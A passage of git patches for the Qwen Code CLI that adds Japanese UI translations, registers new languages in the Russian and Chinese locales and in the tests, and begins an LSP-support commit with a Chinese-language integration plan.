'Use /mcp auth to authenticate.': + '認証するには /mcp auth <サーバー名> を使用', + "MCP server '{{name}}' not found.": "MCPサーバー '{{name}}' が見つかりません", + "Successfully authenticated and refreshed tools for '{{name}}'.": + "'{{name}}' の認証とツール更新に成功しました", + "Failed to authenticate with MCP server '{{name}}': {{error}}": + "MCPサーバー '{{name}}' での認証に失敗: {{error}}", + "Re-discovering tools from '{{name}}'...": + "'{{name}}' からツールを再検出中...", + 'Configured MCP servers:': '設定済みMCPサーバー:', + Ready: '準備完了', + Disconnected: '切断', + '{{count}} tool': '{{count}} ツール', + '{{count}} tools': '{{count}} ツール', + 'Restarting MCP servers...': 'MCPサーバーを再起動中...', + // Chat + 'Manage conversation history.': '会話履歴を管理します', + 'List saved conversation checkpoints': '保存された会話チェックポイントを一覧表示', + 'No saved conversation checkpoints found.': + '保存された会話チェックポイントが見つかりません', + 'List of saved conversations:': '保存された会話の一覧:', + 'Note: Newest last, oldest first': '注: 最新のものが下にあり、過去のものが上にあります', + 'Save the current conversation as a checkpoint. Usage: /chat save ': + '現在の会話をチェックポイントとして保存。使い方: /chat save <タグ>', + 'Missing tag. Usage: /chat save ': + 'タグが不足しています。使い方: /chat save <タグ>', + 'Delete a conversation checkpoint. Usage: /chat delete ': + '会話チェックポイントを削除。使い方: /chat delete <タグ>', + 'Missing tag. Usage: /chat delete ': + 'タグが不足しています。使い方: /chat delete <タグ>', + "Conversation checkpoint '{{tag}}' has been deleted.": + "会話チェックポイント '{{tag}}' を削除しました", + "Error: No checkpoint found with tag '{{tag}}'.": + "エラー: タグ '{{tag}}' のチェックポイントが見つかりません", + 'Resume a conversation from a checkpoint. Usage: /chat resume ': + 'チェックポイントから会話を再開。使い方: /chat resume <タグ>', + 'Missing tag. Usage: /chat resume ': + 'タグが不足しています。使い方: /chat resume <タグ>', + 'No saved checkpoint found with tag: {{tag}}.': + 'タグ {{tag}} のチェックポイントが見つかりません', + 'A checkpoint with the tag {{tag}} already exists. Do you want to overwrite it?': + 'タグ {{tag}} のチェックポイントは既に存在します。上書きしますか?', + 'No chat client available to save conversation.': + '会話を保存するためのチャットクライアントがありません', + 'Conversation checkpoint saved with tag: {{tag}}.': + 'タグ {{tag}} で会話チェックポイントを保存しました', + 'No conversation found to save.': '保存する会話が見つかりません', + 'No chat client available to share conversation.': + '会話を共有するためのチャットクライアントがありません', + 'Invalid file format. Only .md and .json are supported.': + '無効なファイル形式です。.md と .json のみサポートされています', + 'Error sharing conversation: {{error}}': + '会話の共有中にエラー: {{error}}', + 'Conversation shared to {{filePath}}': + '会話を {{filePath}} に共有しました', + 'No conversation found to share.': '共有する会話が見つかりません', + 'Share the current conversation to a markdown or json file. Usage: /chat share ': + '現在の会話をmarkdownまたはjsonファイルに共有。使い方: /chat share <ファイル>', + // Summary + 'Generate a project summary and save it to .qwen/PROJECT_SUMMARY.md': + 'プロジェクトサマリーを生成し、.qwen/PROJECT_SUMMARY.md に保存', + 'No chat client available to generate summary.': + 'サマリーを生成するためのチャットクライアントがありません', + 'Already generating summary, wait for previous request to complete': + 'サマリー生成中です。前のリクエストの完了をお待ちください', + 'No conversation found to summarize.': '要約する会話が見つかりません', + 'Failed to generate project context summary: {{error}}': + 'プロジェクトコンテキストサマリーの生成に失敗: {{error}}', + 'Saved project summary to {{filePathForDisplay}}.': + 'プロジェクトサマリーを {{filePathForDisplay}} に保存しました', + 'Saving project summary...': 'プロジェクトサマリーを保存中...', + 'Generating project summary...': 'プロジェクトサマリーを生成中...', + 'Failed to generate summary - no text content received from LLM response': + 'サマリーの生成に失敗 - LLMレスポンスからテキストコンテンツを受信できませんでした', + // Model + 'Switch the model for this session': 'このセッションのモデルを切り替え', + 'Content generator configuration not available.': + 'コンテンツジェネレーター設定が利用できません', + 'Authentication type not available.': '認証タイプが利用できません', + 'No models available for the current authentication type ({{authType}}).': + '現在の認証タイプ({{authType}})で利用可能なモデルはありません', + // Clear + 'Starting a new session, resetting chat, and clearing terminal.': + '新しいセッションを開始し、チャットをリセットし、ターミナルをクリアしています', + 'Starting a new session and clearing.': + '新しいセッションを開始してクリアしています', + // Compress + 'Already compressing, wait for previous request to complete': + '圧縮中です。前のリクエストの完了をお待ちください', + 'Failed to compress chat history.': 'チャット履歴の圧縮に失敗しました', + 'Failed to compress chat history: {{error}}': + 'チャット履歴の圧縮に失敗: {{error}}', + 'Compressing chat history': 'チャット履歴を圧縮中', + 'Chat history compressed from {{originalTokens}} to {{newTokens}} tokens.': + 'チャット履歴を {{originalTokens}} トークンから {{newTokens}} トークンに圧縮しました', + 'Compression was not beneficial for this history size.': + 'この履歴サイズには圧縮の効果がありませんでした', + 'Chat history compression did not reduce size. This may indicate issues with the compression prompt.': + 'チャット履歴の圧縮でサイズが減少しませんでした。圧縮プロンプトに問題がある可能性があります', + 'Could not compress chat history due to a token counting error.': + 'トークンカウントエラーのため、チャット履歴を圧縮できませんでした', + 'Chat history is already compressed.': 'チャット履歴は既に圧縮されています', + // Directory + 'Configuration is not available.': '設定が利用できません', + 'Please provide at least one path to add.': + '追加するパスを少なくとも1つ指定してください', + 'The /directory add command is not supported in restrictive sandbox profiles. Please use --include-directories when starting the session instead.': + '制限的なサンドボックスプロファイルでは /directory add コマンドはサポートされていません。代わりにセッション開始時に --include-directories を使用してください', + "Error adding '{{path}}': {{error}}": "'{{path}}' の追加中にエラー: {{error}}", + 'Successfully added QWEN.md files from the following directories if there are:\n- {{directories}}': + '以下のディレクトリから QWEN.md ファイルを追加しました(存在する場合):\n- {{directories}}', + 'Error refreshing memory: {{error}}': 'メモリの更新中にエラー: {{error}}', + 'Successfully added directories:\n- {{directories}}': + 'ディレクトリを正常に追加しました:\n- {{directories}}', + 'Current workspace directories:\n{{directories}}': + '現在のワークスペースディレクトリ:\n{{directories}}', + // Docs + 'Please open the following URL in your browser to view the documentation:\n{{url}}': + 'ドキュメントを表示するには、ブラウザで以下のURLを開いてください:\n{{url}}', + 'Opening documentation in your browser: {{url}}': + ' ブラウザでドキュメントを開きました: {{url}}', + // Dialogs - Tool Confirmation + 'Do you want to proceed?': '続行しますか?', + 'Yes, allow once': 'はい(今回のみ許可)', + 'Allow always': '常に許可する', + No: 'いいえ', + 'No (esc)': 'いいえ (Esc)', + 'Yes, allow always for this session': 'はい、このセッションで常に許可', + 'Modify in progress:': '変更中:', + 'Save and close external editor to continue': + '続行するには外部エディタを保存して閉じてください', + 'Apply this change?': 'この変更を適用しますか?', + 'Yes, allow always': 'はい、常に許可', + 'Modify with external editor': '外部エディタで編集', + 'No, suggest changes (esc)': 'いいえ、変更を提案 (Esc)', + "Allow execution of: '{{command}}'?": "'{{command}}' の実行を許可しますか?", + 'Yes, allow always ...': 'はい、常に許可...', + 'Yes, and auto-accept edits': 'はい、編集を自動承認', + 'Yes, and manually approve edits': 'はい、編集を手動承認', + 'No, keep planning (esc)': 'いいえ、計画を続ける (Esc)', + 'URLs to fetch:': '取得するURL:', + 'MCP Server: {{server}}': 'MCPサーバー: {{server}}', + 'Tool: {{tool}}': 'ツール: {{tool}}', + 'Allow execution of MCP tool "{{tool}}" from server "{{server}}"?': + 'サーバー "{{server}}" からの MCPツール "{{tool}}" の実行を許可しますか?', + 'Yes, always allow tool "{{tool}}" from server "{{server}}"': + 'はい、サーバー "{{server}}" からのツール "{{tool}}" を常に許可', + 'Yes, always allow all tools from server "{{server}}"': + 'はい、サーバー "{{server}}" からのすべてのツールを常に許可', + // Dialogs - Shell Confirmation + 'Shell Command Execution': 'シェルコマンド実行', + 'A custom command wants to run the following shell commands:': + 'カスタムコマンドが以下のシェルコマンドを実行しようとしています:', + // Dialogs - Pro Quota + 'Pro quota limit reached for {{model}}.': + '{{model}} のProクォータ上限に達しました', + 'Change auth (executes the /auth command)': + '認証を変更(/auth コマンドを実行)', + 'Continue with {{model}}': '{{model}} で続行', + // Dialogs - Welcome Back + 'Current Plan:': '現在のプラン:', + 'Progress: {{done}}/{{total}} tasks completed': + '進捗: {{done}}/{{total}} タスク完了', + ', {{inProgress}} in progress': '、{{inProgress}} 進行中', + 'Pending Tasks:': '保留中のタスク:', + 'What would you like to do?': '何をしますか?', + 'Choose how to proceed with your session:': + 'セッションの続行方法を選択してください:', + 'Start new chat session': '新しいチャットセッションを開始', + 'Continue previous conversation': '前回の会話を続行', + '👋 Welcome back! (Last updated: {{timeAgo}})': + '👋 おかえりなさい!(最終更新: {{timeAgo}})', + '🎯 Overall Goal:': '🎯 全体目標:', + // Dialogs - Auth + 'Get started': '始める', + 'How would you like to authenticate for this project?': + 'このプロジェクトの認証方法を選択してください:', + 'OpenAI API key is required to use OpenAI authentication.': + 'OpenAI認証を使用するには OpenAI APIキーが必要です', + 'You must select an auth method to proceed. Press Ctrl+C again to exit.': + '続行するには認証方法を選択してください。Ctrl+C をもう一度押すと終了します', + '(Use Enter to Set Auth)': '(Enter で認証を設定)', + 'Terms of Services and Privacy Notice for Qwen Code': + 'Qwen Code の利用規約とプライバシー通知', + 'Qwen OAuth': 'Qwen OAuth', + OpenAI: 'OpenAI', + 'Failed to login. Message: {{message}}': + 'ログインに失敗しました。メッセージ: {{message}}', + 'Authentication is enforced to be {{enforcedType}}, but you are currently using {{currentType}}.': + '認証は {{enforcedType}} に強制されていますが、現在 {{currentType}} を使用しています', + 'Qwen OAuth authentication timed out. Please try again.': + 'Qwen OAuth認証がタイムアウトしました。再度お試しください', + 'Qwen OAuth authentication cancelled.': + 'Qwen OAuth認証がキャンセルされました', + 'Qwen OAuth Authentication': 'Qwen OAuth認証', + 'Please visit this URL to authorize:': '認証するには以下のURLにアクセスしてください:', + 'Or scan the QR code below:': 'または以下のQRコードをスキャン:', + 'Waiting for authorization': '認証を待っています', + 'Time remaining:': '残り時間:', + '(Press ESC or CTRL+C to cancel)': '(ESC または CTRL+C でキャンセル)', + 'Qwen OAuth Authentication Timeout': 'Qwen OAuth認証タイムアウト', + 'OAuth token expired (over {{seconds}} seconds). Please select authentication method again.': + 'OAuthトークンが期限切れです({{seconds}}秒以上)。認証方法を再度選択してください', + 'Press any key to return to authentication type selection.': + '認証タイプ選択に戻るには任意のキーを押してください', + 'Waiting for Qwen OAuth authentication...': + 'Qwen OAuth認証を待っています...', + 'Note: Your existing API key in settings.json will not be cleared when using Qwen OAuth. You can switch back to OpenAI authentication later if needed.': + '注: Qwen OAuthを使用しても、settings.json内の既存のAPIキーはクリアされません。必要に応じて後でOpenAI認証に切り替えることができます', + 'Authentication timed out. Please try again.': + '認証がタイムアウトしました。再度お試しください', + 'Waiting for auth... (Press ESC or CTRL+C to cancel)': + '認証を待っています... (ESC または CTRL+C でキャンセル)', + 'Failed to authenticate. Message: {{message}}': + '認証に失敗しました。メッセージ: {{message}}', + 'Authenticated successfully with {{authType}} credentials.': + '{{authType}} 認証情報で正常に認証されました', + 'Invalid QWEN_DEFAULT_AUTH_TYPE value: "{{value}}". Valid values are: {{validValues}}': + '無効な QWEN_DEFAULT_AUTH_TYPE 値: "{{value}}"。有効な値: {{validValues}}', + 'OpenAI Configuration Required': 'OpenAI設定が必要です', + 'Please enter your OpenAI configuration. You can get an API key from': + 'OpenAI設定を入力してください。APIキーは以下から取得できます', + 'API Key:': 'APIキー:', + 'Invalid credentials: {{errorMessage}}': + '無効な認証情報: {{errorMessage}}', + 'Failed to validate credentials': '認証情報の検証に失敗しました', + 'Press Enter to continue, Tab/↑↓ to navigate, Esc to cancel': + 'Enter で続行、Tab/↑↓ で移動、Esc でキャンセル', + // Dialogs - Model + 'Select Model': 'モデルを選択', + '(Press Esc to close)': '(Esc で閉じる)', + 'The latest Qwen Coder model from Alibaba Cloud ModelStudio (version: qwen3-coder-plus-2025-09-23)': + 'Alibaba Cloud ModelStudioの最新Qwen Coderモデル(バージョン: qwen3-coder-plus-2025-09-23)', + 'The latest Qwen Vision model from Alibaba Cloud ModelStudio (version: qwen3-vl-plus-2025-09-23)': + 'Alibaba Cloud ModelStudioの最新Qwen Visionモデル(バージョン: qwen3-vl-plus-2025-09-23)', + // Dialogs - Permissions + 'Manage folder trust settings': 'フォルダ信頼設定を管理', + // Status Bar + 'Using:': '使用中:', + '{{count}} open file': '{{count}} 個のファイルを開いています', + '{{count}} open files': '{{count}} 個のファイルを開いています', + '(ctrl+g to view)': '(Ctrl+G で表示)', + '{{count}} {{name}} file': '{{count}} {{name}} ファイル', + '{{count}} {{name}} files': '{{count}} {{name}} ファイル', + '{{count}} MCP server': '{{count}} MCPサーバー', + '{{count}} MCP servers': '{{count}} MCPサーバー', + '{{count}} Blocked': '{{count}} ブロック', + '(ctrl+t to view)': '(Ctrl+T で表示)', + '(ctrl+t to toggle)': '(Ctrl+T で切り替え)', + 'Press Ctrl+C again to exit.': 'Ctrl+C をもう一度押すと終了します', + 'Press Ctrl+D again to exit.': 'Ctrl+D をもう一度押すと終了します', + 'Press Esc again to clear.': 'Esc をもう一度押すとクリアします', + // MCP Status + 'Please view MCP documentation in your browser:': + 'ブラウザでMCPドキュメントを確認してください:', + 'or use the cli /docs command': 'または CLI の /docs コマンドを使用', + '⏳ MCP servers are starting up ({{count}} initializing)...': + '⏳ MCPサーバーを起動中({{count}} 初期化中)...', + 'Note: First startup may take longer. Tool availability will update automatically.': + '注: 初回起動には時間がかかる場合があります。ツールの利用可能状況は自動的に更新されます', + 'Starting... (first startup may take longer)': + '起動中...(初回起動には時間がかかる場合があります)', + '{{count}} prompt': '{{count}} プロンプト', + '{{count}} prompts': '{{count}} プロンプト', + '(from {{extensionName}})': '({{extensionName}} から)', + OAuth: 'OAuth', + 'OAuth expired': 'OAuth 期限切れ', + 'OAuth not authenticated': 'OAuth 未認証', + 'tools and prompts will appear when ready': + 'ツールとプロンプトは準備完了後に表示されます', + '{{count}} tools cached': '{{count}} ツール(キャッシュ済み)', + 'Tools:': 'ツール:', + 'Parameters:': 'パラメータ:', + 'Prompts:': 'プロンプト:', + Blocked: 'ブロック', + '💡 Tips:': '💡 ヒント:', + Use: '使用', + 'to show server and tool descriptions': + 'サーバーとツールの説明を表示', + 'to show tool parameter schemas': 'ツールパラメータスキーマを表示', + 'to hide descriptions': '説明を非表示', + 'to authenticate with OAuth-enabled servers': + 'OAuth対応サーバーで認証', + Press: '押す', + 'to toggle tool descriptions on/off': 'ツール説明の表示/非表示を切り替え', + "Starting OAuth authentication for MCP server '{{name}}'...": + "MCPサーバー '{{name}}' のOAuth認証を開始中...", + // Startup Tips + 'Tips for getting started:': '始めるためのヒント:', + '1. Ask questions, edit files, or run commands.': + '1. 質問したり、ファイルを編集したり、コマンドを実行したりできます', + '2. Be specific for the best results.': + '2. 具体的に指示すると最良の結果が得られます', + 'files to customize your interactions with Qwen Code.': + 'Qwen Code との対話をカスタマイズするためのファイル', + 'for more information.': '詳細情報を確認できます', + // Exit Screen / Stats + 'Agent powering down. Goodbye!': 'エージェントを終了します。さようなら!', + 'To continue this session, run': 'このセッションを続行するには、次を実行:', + 'Interaction Summary': 'インタラクション概要', + 'Session ID:': 'セッションID:', + 'Tool Calls:': 'ツール呼び出し:', + 'Success Rate:': '成功率:', + 'User Agreement:': 'ユーザー同意:', + reviewed: 'レビュー済み', + 'Code Changes:': 'コード変更:', + Performance: 'パフォーマンス', + 'Wall Time:': '経過時間:', + 'Agent Active:': 'エージェント稼働時間:', + 'API Time:': 'API時間:', + 'Tool Time:': 'ツール時間:', + 'Session Stats': 'セッション統計', + 'Model Usage': 'モデル使用量', + Reqs: 'リクエスト', + 'Input Tokens': '入力トークン', + 'Output Tokens': '出力トークン', + 'Savings Highlight:': '節約ハイライト:', + 'of input tokens were served from the cache, reducing costs.': + '入力トークンがキャッシュから提供され、コストを削減しました', + 'Tip: For a full token breakdown, run `/stats model`.': + 'ヒント: トークンの詳細な内訳は `/stats model` を実行してください', + 'Model Stats For Nerds': 'マニア向けモデル統計', + 'Tool Stats For Nerds': 'マニア向けツール統計', + Metric: 'メトリック', + API: 'API', + Requests: 'リクエスト', + Errors: 'エラー', + 'Avg Latency': '平均レイテンシ', + Tokens: 'トークン', + Total: '合計', + Prompt: 'プロンプト', + Cached: 'キャッシュ', + Thoughts: '思考', + Tool: 'ツール', + Output: '出力', + 'No API calls have been made in this session.': + 'このセッションではAPI呼び出しが行われていません', + 'Tool Name': 'ツール名', + Calls: '呼び出し', + 'Success Rate': '成功率', + 'Avg Duration': '平均時間', + 'User Decision Summary': 'ユーザー決定サマリー', + 'Total Reviewed Suggestions:': '総レビュー提案数:', + ' » Accepted:': ' » 承認:', + ' » Rejected:': ' » 却下:', + ' » Modified:': ' » 変更:', + ' Overall Agreement Rate:': ' 全体承認率:', + 'No tool calls have been made in this session.': + 'このセッションではツール呼び出しが行われていません', + 'Session start time is unavailable, cannot calculate stats.': + 'セッション開始時刻が利用できないため、統計を計算できません', + // Loading + 'Waiting for user confirmation...': 'ユーザーの確認を待っています...', + '(esc to cancel, {{time}})': '(Esc でキャンセル、{{time}})', + // Witty Loading Phrases + WITTY_LOADING_PHRASES: [ + '運任せで検索中...', + '中の人がタイピング中...', + 'ロジックを最適化中...', + '電子の数を確認中...', + '宇宙のバグをチェック中...', + '大量の0と1をコンパイル中...', + 'HDDと思い出をデフラグ中...', + 'ビットをこっそり入れ替え中...', + 'ニューロンの接続を再構築中...', + 'どこかに行ったセミコロンを捜索中...', + 'フラックスキャパシタを調整中...', + 'フォースと交感中...', + 'アルゴリズムをチューニング中...', + '白いウサギを追跡中...', + 'カセットフーフー中...', + 'ローディングメッセージを考え中...', + 'ほぼ完了...多分...', + '最新のミームについて調査中...', + 'この表示を改善するアイデアを思索中...', + 'この問題を考え中...', + 'それはバグでなく誰も知らない新機能だよ', + 'ダイヤルアップ接続音が終わるのを待機中...', + 'コードに油を追加中...', + + // かなり意訳が入ってるもの + 'イヤホンをほどき中...', + 'カフェインをコードに変換中...', + '天動説を地動説に書き換え中...', + 'プールで時計の完成を待機中...', + '笑撃的な回答を用意中...', + '適切なミームを記述中...', + 'Aボタンを押して次へ...', + 'コードにリックロールを仕込み中...', + 'プログラマーが貧乏なのはキャッシュを使いすぎるから...', + 'プログラマーがダークモードなのはバグを見たくないから...', + 'コードが壊れた?叩けば治るさ', + 'USBの差し込みに挑戦中...', + ], +}; diff --git a/packages/cli/src/i18n/locales/ru.js b/packages/cli/src/i18n/locales/ru.js index ee583e0f9..fc1dee88e 100644 --- a/packages/cli/src/i18n/locales/ru.js +++ b/packages/cli/src/i18n/locales/ru.js @@ -392,7 +392,7 @@ export default { // Команды - Язык // ============================================================================ 'Invalid language. Available: en-US, zh-CN': - 'Неверный язык. Доступны: en-US, zh-CN, ru-RU', + 'Неверный язык. Доступны: en-US, zh-CN, ru-RU, de-DE, ja-JP', 'Language subcommands do not accept additional arguments.': 'Подкоманды языка не принимают дополнительных аргументов.', 'Current UI language: {{lang}}': 'Текущий язык интерфейса: {{lang}}', @@ -401,7 +401,7 @@ export default { 'Set UI language': 'Установка языка интерфейса', 'Set LLM output language': 'Установка языка вывода LLM', 'Usage: /language ui [zh-CN|en-US]': - 'Использование: /language ui [zh-CN|en-US|ru-RU]', + 'Использование: /language ui [zh-CN|en-US|ru-RU|de-DE|ja-JP]', 'Usage: /language output ': 'Использование: /language output ', 'Example: /language output 中文': 'Пример: /language output 中文', @@ -422,10 +422,19 @@ export default { 'Available options:': 'Доступные варианты:', ' - zh-CN: Simplified Chinese': ' - zh-CN: Упрощенный китайский', ' - en-US: English': ' - en-US: Английский', + ' - ru-RU: Russian': ' - ru-RU: Русский', + ' - de-DE: German': ' - de-DE: Немецкий', + ' - ja-JP: Japanese': ' - ja-JP: Японский', 'Set UI language to Simplified Chinese (zh-CN)': 'Установить язык интерфейса на упрощенный китайский (zh-CN)', 'Set UI language to English (en-US)': 'Установить язык интерфейса на английский (en-US)', + 'Set UI language to Russian (ru-RU)': + 'Установить язык интерфейса на русский (ru-RU)', + 'Set UI language to German (de-DE)': + 'Установить язык интерфейса на немецкий (de-DE)', + 'Set UI language to Japanese (ja-JP)': + 'Установить язык интерфейса на японский (ja-JP)', // ============================================================================ // Команды - Режим подтверждения diff --git a/packages/cli/src/i18n/locales/zh.js b/packages/cli/src/i18n/locales/zh.js index 5c5d21679..41fea1d7f 100644 --- a/packages/cli/src/i18n/locales/zh.js +++ b/packages/cli/src/i18n/locales/zh.js @@ -373,7 +373,7 @@ export default { // Commands - Language // ============================================================================ 'Invalid language. Available: en-US, zh-CN': - '无效的语言。可用选项：en-US, zh-CN', + '无效的语言。可用选项：en-US, zh-CN, ru-RU, de-DE, ja-JP', 'Language subcommands do not accept additional arguments.': '语言子命令不接受额外参数', 'Current UI language: {{lang}}': '当前 UI 语言：{{lang}}', diff --git a/packages/cli/src/ui/commands/languageCommand.test.ts b/packages/cli/src/ui/commands/languageCommand.test.ts index 719b1780c..cf137de06 100644 --- a/packages/cli/src/ui/commands/languageCommand.test.ts +++ b/packages/cli/src/ui/commands/languageCommand.test.ts @@ -20,6 +20,7 @@ vi.mock('../../i18n/index.js', () => ({ en: 'English', ru: 'Russian', de: 'German', + ja: 'Japanese', }; return map[locale] || 'English'; }), @@ -557,6 +558,7 @@ describe('languageCommand', () => { expect(nestedNames).toContain('en-US'); expect(nestedNames).toContain('ru-RU'); expect(nestedNames).toContain('de-DE'); + expect(nestedNames).toContain('ja-JP'); }); it('should have action that sets language', async () => { @@ -667,6 +669,24 @@ describe('languageCommand', () => { }); }); + const jaJPSubcommand = uiSubcommand?.subCommands?.find( + (c) => c.name === 'ja-JP', + ); + it('ja-JP action should set Japanese', async () => { + if (!jaJPSubcommand?.action) { + throw new Error('ja-JP subcommand must have an action.'); + } + + const result = await jaJPSubcommand.action(mockContext, ''); + + expect(i18n.setLanguageAsync).toHaveBeenCalledWith('ja'); + expect(result).toEqual({ + type: 'message', + messageType: 'info', + content: expect.stringContaining('UI language changed'), + }); + }); + it('should reject extra arguments', async () => { if (!zhCNSubcommand?.action) { throw new Error('zh-CN subcommand must have an action.'); @@ -750,5 +770,18 @@ describe('languageCommand', () => { 'utf-8', ); }); + + it('should detect Japanese locale and create Japanese rule file', () => { + vi.mocked(fs.existsSync).mockReturnValue(false); + vi.mocked(i18n.detectSystemLanguage).mockReturnValue('ja'); + + initializeLlmOutputLanguage(); + + expect(fs.writeFileSync).toHaveBeenCalledWith( + expect.stringContaining('output-language.md'), + expect.stringContaining('Japanese'), + 'utf-8', + ); + }); }); }); From a67a8d027734b932cd3b2ded14632b28c4196ac6 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Mon, 5 Jan 2026 01:42:05 +0800 Subject: [PATCH 02/79] wip(cli): support lsp --- .vscode/settings.json | 7 +- cclsp-integration-plan.md | 147 +++ package-lock.json | 8 + package.json | 1 + packages/cli/LSP_DEBUGGING_GUIDE.md | 107 ++ packages/cli/src/config/config.test.ts | 82 ++ packages/cli/src/config/config.ts | 82 +- packages/cli/src/config/lspSettingsSchema.ts | 38 + packages/cli/src/config/settings.ts | 52 +- packages/cli/src/config/settingsSchema.ts | 41 + packages/cli/src/gemini.tsx | 2 + .../src/services/lsp/LspConnectionFactory.ts | 358 ++++++ .../src/services/lsp/NativeLspService.test.ts | 126 ++ .../cli/src/services/lsp/NativeLspService.ts | 1075 +++++++++++++++++ packages/core/src/config/config.ts | 49 + packages/core/src/index.ts | 3 + packages/core/src/lsp/types.ts | 54 + .../core/src/tools/lsp-find-references.ts | 309 +++++ .../core/src/tools/lsp-go-to-definition.ts | 309 +++++ .../core/src/tools/lsp-workspace-symbol.ts | 180 +++ packages/core/src/tools/tool-names.ts | 8 + 21 files changed, 3035 insertions(+), 3 deletions(-) create mode 100644 cclsp-integration-plan.md create mode 100644 packages/cli/LSP_DEBUGGING_GUIDE.md create mode 100644 packages/cli/src/config/lspSettingsSchema.ts create mode 100644 packages/cli/src/services/lsp/LspConnectionFactory.ts create mode 100644 packages/cli/src/services/lsp/NativeLspService.test.ts create mode 100644 packages/cli/src/services/lsp/NativeLspService.ts create mode 100644 packages/core/src/lsp/types.ts create mode 100644 packages/core/src/tools/lsp-find-references.ts create mode 100644 packages/core/src/tools/lsp-go-to-definition.ts create mode 100644 packages/core/src/tools/lsp-workspace-symbol.ts diff --git a/.vscode/settings.json b/.vscode/settings.json index ea2735760..8331c3876 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -13,5 +13,10 @@ "[javascript]": { "editor.defaultFormatter": "esbenp.prettier-vscode" }, - "vitest.disableWorkspaceWarning": true + "vitest.disableWorkspaceWarning": true, + "lsp": { + "enabled": true, + "allowed": ["typescript-language-server"], + "excluded": ["gopls"] + } } diff --git a/cclsp-integration-plan.md b/cclsp-integration-plan.md new file mode 100644 index 000000000..7105653a7 --- /dev/null +++ b/cclsp-integration-plan.md @@ -0,0 +1,147 @@ +# Qwen Code CLI LSP 集成实现方案分析 + +## 1. 项目概述 + +本方案旨在将 LSP（Language Server Protocol）能力原生集成到 Qwen Code CLI 中，使 AI 代理能够利用代码导航、定义查找、引用查找等功能。LSP 将作为与 MCP 并行的一级扩展机制实现。 + +## 2. 技术方案对比 + +### 2.1 Piebald-AI/claude-code-lsps 方案 +- **架构**: 客户端直接与每个 LSP 通信，通过 `.lsp.json` 配置文件声明服务器命令/参数、stdio 传输和文件扩展名路由 +- **用户配置**: 低摩擦，只需放置 `.lsp.json` 配置并确保 LSP 二进制文件已安装 +- **安全**: LSP 子进程以用户权限运行，无内置信任门控 +- **功能覆盖**: 可以暴露完整的 LSP 表面（hover、诊断、代码操作、重命名等） + +### 2.2 原生 LSP 客户端方案（推荐方案） +- **架构**: Qwen Code CLI 直接作为 LSP 客户端，与语言服务器建立 JSON-RPC 连接 +- **用户配置**: 支持内置预设 + 用户自定义 `.lsp.json` 配置 +- **安全**: 与 MCP 共享相同的安全控制（信任工作区、允许/拒绝列表、确认提示） +- **功能覆盖**: 暴露完整的 LSP 功能（流式诊断、代码操作、重命名、语义标记等） + +### 2.3 cclsp + MCP 方案（备选） +- **架构**: 通过 MCP 协议调用 cclsp 作为 LSP 桥接 +- **用户配置**: 需要 MCP 配置 +- **安全**: 通过 MCP 安全控制 +- **功能覆盖**: 依赖于 cclsp 映射的 MCP 工具 + +## 3. 原生 LSP 集成详细计划 + +### 3.1 方案选择 +- **推荐方案**: 原生 LSP 客户端作为主要路径，因为它提供完整 LSP 功能、更低延迟和更好的用户体验 +- **兼容层**: 保留 cclsp+MCP 作为现有 MCP 工作流的兼容桥接 +- **并行架构**: LSP 和 MCP 作为独立的扩展机制共存，共享安全策略 + +### 3.2 实现步骤 + +#### 3.2.1 创建原生 LSP 服务 +在 `packages/cli/src/services/lsp/` 目录下创建 `NativeLspService` 类，处理： +- 工作区语言检测 +- 自动发现和启动语言服务器 +- 与现有文档/编辑模型同步 +- LSP 能力直接暴露给代理 + +#### 3.2.2 配置支持 +- 支持内置预设配置（常见语言服务器） +- 支持用户自定义 `.lsp.json` 配置文件 +- 与 MCP 配置共存，共享信任控制 + +#### 3.2.3 集成启动流程 +- 在 `packages/cli/src/config/config.ts` 中的 `loadCliConfig` 函数内集成 +- 确保 LSP 服务与 MCP 服务共享相同的安全控制机制 +- 处理沙箱预检和主运行的重复调用问题 + +#### 3.2.4 功能标志配置 +- 在 `packages/cli/src/config/settingsSchema.ts` 中添加新的设置项 +- 提供全局开关（如 `lsp.enabled=false`）允许用户禁用 LSP 功能 +- 尊重 `mcp.allowed`/`mcp.excluded` 和文件夹信任设置 + +#### 3.2.5 安全控制 +- 与 MCP 共享相同的安全控制机制 +- 在信任工作区中自动启用，在非信任工作区中提示用户 +- 实现路径允许列表和进程启动确认 + +#### 3.2.6 错误处理与用户通知 +- 检测缺失的语言服务器并提供安装命令 +- 通过现有 MCP 状态 UI 显示错误信息 +- 实现重试/退避机制，检测沙箱环境并抑制自动启动 + +### 3.3 需要确认的不确定项 + +1. **启动集成点**：在 `loadCliConfig` 中集成原生 LSP 服务，需确保与 MCP 服务的协调 + +2. **配置优先级**：如果用户已有 cclsp MCP 配置，应保持并存还是优先使用原生 LSP + +3. **功能开关设计**：开关应该是全局级别的，LSP 和 MCP 可独立启用/禁用 + +4. **共享安全模型**：如何在代码中复用 MCP 的信任/安全控制逻辑 + +5. **语言服务器管理**：如何管理 LSP 服务器生命周期并与文档编辑模型同步 + +6. **依赖检测机制**：检测 LSP 服务器可用性，失败时提供降级选项 + +7. **测试策略**：需要测试 LSP 与 MCP 的并行运行，以及共享安全控制 + +### 3.4 安全考虑 + +- 与 MCP 共享相同的安全控制模型 +- 仅在受信任工作区中启用自动 LSP 功能 +- 提供用户确认机制用于启动新的 LSP 服务器 +- 防止路径劫持，使用安全的路径解析 + +### 3.5 高级 LSP 功能支持 + +- **完整 LSP 功能**: 支持流式诊断、代码操作、重命名、语义高亮、工作区编辑等 +- **兼容 Claude 配置**: 支持导入 Claude Code 风格的 `.lsp.json` 配置 +- **性能优化**: 优化 LSP 服务器启动时间和内存使用 + +### 3.6 用户体验 + +- 提供安装提示而非自动安装 +- 在统一的状态界面显示 LSP 和 MCP 服务器状态 +- 提供独立开关让用户控制 LSP 和 MCP 功能 +- 为只读/沙箱环境提供安全的配置处理和清晰的错误消息 + +## 4. 实施总结 + +### 4.1 已完成的工作 +1. **NativeLspService 类**：创建了核心服务类，包含语言检测、配置合并、LSP 连接管理等功能 +2. **LSP 连接工厂**：实现了基于 stdio 的 LSP 连接创建和管理 +3. **语言检测机制**：实现了基于文件扩展名和项目配置文件的语言自动检测 +4. **配置系统**：实现了内置预设、用户配置和 Claude 兼容配置的合并 +5. **安全控制**：实现了与 MCP 共享的安全控制机制，包括信任检查、用户确认、路径安全验证 +6. **CLI 集成**：在 `loadCliConfig` 函数中集成了 LSP 服务初始化点 + +### 4.2 关键组件 + +#### 